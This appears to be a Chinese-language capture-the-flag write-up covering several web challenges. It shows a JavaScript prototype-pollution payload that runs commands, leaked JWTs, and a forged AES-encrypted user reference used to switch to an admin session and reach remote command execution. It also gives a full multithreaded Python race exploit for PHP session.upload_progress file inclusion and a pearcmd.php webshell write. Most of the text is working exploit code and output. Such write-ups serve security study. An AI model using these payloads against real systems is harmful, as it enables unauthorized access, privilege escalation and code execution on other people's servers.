prototype-preview 根据题目名称猜测是js原型链污染
/source路由发现源码
未过滤 __proto__,导致原型链污染
payload:
1 2 3 4 5 6 7 8 9 { "name": "x", "bio": "x", "theme": {"color": "#333", "layout": "a"}, "__proto__": { "escapeFunction": "escapeHtml;out.push(require(\"child_process\").execSync(\"env\").toString())" } }
flag{111b6bb4-8b0c-450c-9d30-aaf669eb8a6f}
oooa /api/v2/workflow/pending-approval/snapshot未授权获取jwt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "code": 0, "data": { "source": "workflow-pending-approval-cache", "items": [ { "applyId": "WF-20260527-0192", "employeeName": "林实习", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDA3IiwidXNlcm5hbWUiOiJpbnRlcm4ubGluIiwicm9sZSI 6ImludGVybiIsImRlcHQiOiLnu7zlkIjnrqHnkIbpg6giLCJwdXJwb3NlIjoid29ya2Zsb3ctYXBwbHktY2FjaGUiLCJpYXQiOjE3ODA3NTMyMjI0M TV9.ssP1iI334R8jfkzNlFVQOyTwvpzipTEj320q7MlNF6c" }, { "applyId": "WF-20260527-0184", "employeeName": "陈专员", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDEyIiwidXNlcm5hbWUiOiJzdGFmZi5jaGVuIiwicm9sZSI 6ImVtcGxveWVlIiwiZGVwdCI6Iui0ouWKoeWFseS6q-S4reW_gyIsInB1cnBvc2UiOiJ3b3JrZmxvdy1hcHBseS1jYWNoZSIsImlhdCI6MTc4MDc1M zIyMjQxNn0._gVjXAlzY3zervpYauOOh5vu9nmog-RNoaQHV0xsPSc" } ] } }
JS chunk中提取AES加密实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // Key: ManBaOaPortalKey (hex: 4d616e42614f61506f7274616c4b6579) // IV: PortalRefresh01! (hex: 506f7274616c52656672657368303121) async function n(e) { let t = await window.crypto.subtle.importKey( "raw", s("4d616e42614f61506f7274616c4b6579"), // "ManBaOaPortalKey" {name: "AES-CBC"}, false, ["encrypt"] ); return btoa(String.fromCharCode(...new Uint8Array( await window.crypto.subtle.encrypt( {name: "AES-CBC", iv: s("506f7274616c52656672657368303121")}, // "PortalRefresh01!" t, new TextEncoder().encode(String(e)) ) ))); }
/api/v2/portal/context/refresh-sync 端点接受 AES-CBC 加密的 userRef(用户 ID),可以将当前会话切换到目标用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 key = b'ManBaOaPortalKey' iv = b'PortalRefresh01!' # 加密 admin 用户的 ID "0001" cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(b'0001', AES.block_size)) encrypted_userRef = base64.b64encode(ciphertext).decode() # -> "r8Z3xPBHo1pxxIU/J3fBzA==" curl -X POST /api/v2/portal/context/refresh-sync \ -H "Authorization: Bearer <intern_token>" \ -H "Content-Type: application/json" \ -d '{"userRef":"r8Z3xPBHo1pxxIU/J3fBzA=="}'
响应:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { "code": 0, "data": { "previousUserId": "0007", "currentUserId": "0001", "switched": true, "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDAxIiwidXNlcm5hbWUiOiJvcHMtYWRtaW4iLCJyb2xlI joiYWRtaW4iLCJkZXB0Ijoi5bmz5Y-w5rK755CG5Lit5b-DIiwicHVycG9zZSI6InBvcnRhbC1jb250ZXh0LXJlZnJlc2giLCJpYXQiOjE3ODA3NTQ 1MTQyMTl9.CbJZq-UwM4JuWAsFSbg1wz_AYyjzHLCOirWY3BG-rkI", "profile": { "userId": "0001", "username": "ops-admin", "displayName": "平台运维管理员", "role": "admin", "department": "平台治理中心", "title": "Runtime Control Owner" } } }
提权到admin
1 2 3 curl -X POST /api/v2/platform/runtime/diagnostic-task \ -H "Authorization: Bearer <admin_token>" \ -d '{"cmd":"id"}'
成功RCE,回显
1 2 3 4 5 6 7 8 9 { "code": 0, "data": { "command": "id", "stdout": "uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)\n", "stderr": "", "exitCode": 0 } }
读取后端源码 (/opt/app/src/obf/08f3c1e4.js) 发现 flag 存储位置:
1 2 3 4 const disguisedCollections = { dbName: process.env.FLAG_MONGO_DB || "ops_runtime", collectionName: process.env.FLAG_MONGO_COLLECTION || "system_notice_templates" };
查mongoDB日志
1 2 3 4 5 6 7 8 9 10 11 12 13 cat /var/log/mongodb/mongod.stdout.log | grep previewProbe { "ns": "ops_runtime.system_notice_templates", "command": { "find": "system_notice_templates", "filter": { "bizCode": "OA-NOTIFY-TPL", "previewProbe": "flag{779e1301-8830-4c24-91ee-ff6ca565506e}", "warmSlot": 67 } } }
签到 GET /include.php?file=/var/www/html/notes/welcome.txt
file 参数直接传入 include(),页面回显被包含文件的内容。另有 /upload.php 上传页,其表单里藏着一个关键字段:
1 2 3 4 <form method="post" enctype="multipart/form-data"> <input id="progress" type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="checking"> <input id="file" type="file" name="file"> </form>
根据提示猜测考点为 session.upload_progress 利用
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import threading, requests, sys, re, time, urllib.parse BASE="http://114.66.24.210:25504"; SID="ctf1337race" CMD = "cat /flag" payload = "<?php echo '##S##'; system($_GET['c']); echo '##E##'; ?>" sess_path = "/tmp/sess_"+SID stop=False; hit={"v":None} def writer(): # 持续上传,保持 upload in-progress while not stop: try: requests.post(BASE+"/include.php", files={'file':('a.txt', b"A"*(1024*256))}, data={'PHP_SESSION_UPLOAD_PROGRESS': payload}, cookies={'PHPSESSID':SID}, timeout=10) except: pass def reader(): # 并发包含 /tmp/sess_<id> global stop; s=requests.Session() url=f"{BASE}/include.php?file={urllib.parse.quote(sess_path)}&c={urllib.parse.quote(CMD)}" while not stop: try: r=s.get(url, cookies={'PHPSESSID':SID}, timeout=10) if "##S##" in r.text: hit["v"]=re.search(r"##S##(.*?)##E##", r.text, re.S).group(1) stop=True; return except: pass ts=[threading.Thread(target=writer) for _ in range(6)] + \ [threading.Thread(target=reader) for _ in range(6)] for t in ts: t.daemon=True; t.start() t0=time.time() while not stop and time.time()-t0<40: time.sleep(0.2) print(hit["v"])
flag{a97cb1ec-2676-4c54-af8e-75af36bf876b}
include 提交不存在的文件时,PHP 报错泄露了核心信息:
1 2 3 4 Warning: include(pages/zzz.php): failed to open stream ... in /var/www/html/index.php on line 113 Warning: include(): Failed opening 'pages/zzz.php' (include_path='.:/usr/local/lib/php')
报错泄露的 include_path 含 /usr/local/lib/php,而 PEAR 工具 pearcmd.php 正好在这里
包含相对路径 pearcmd.php 时,PHP 按 include_path 搜索 → 命中 /usr/local/lib/php/pearcmd.php
利用 pearcmd把webshell 写进 web 根目录
1 GET /index.php?file=pearcmd.php&+config-create+/<?=print("@@".base64_encode(shell_exec($_GET[c]))."@@")?>+/var/www/html/q.php
读取 flag
1 GET /?file=q.php&c=cat+/flag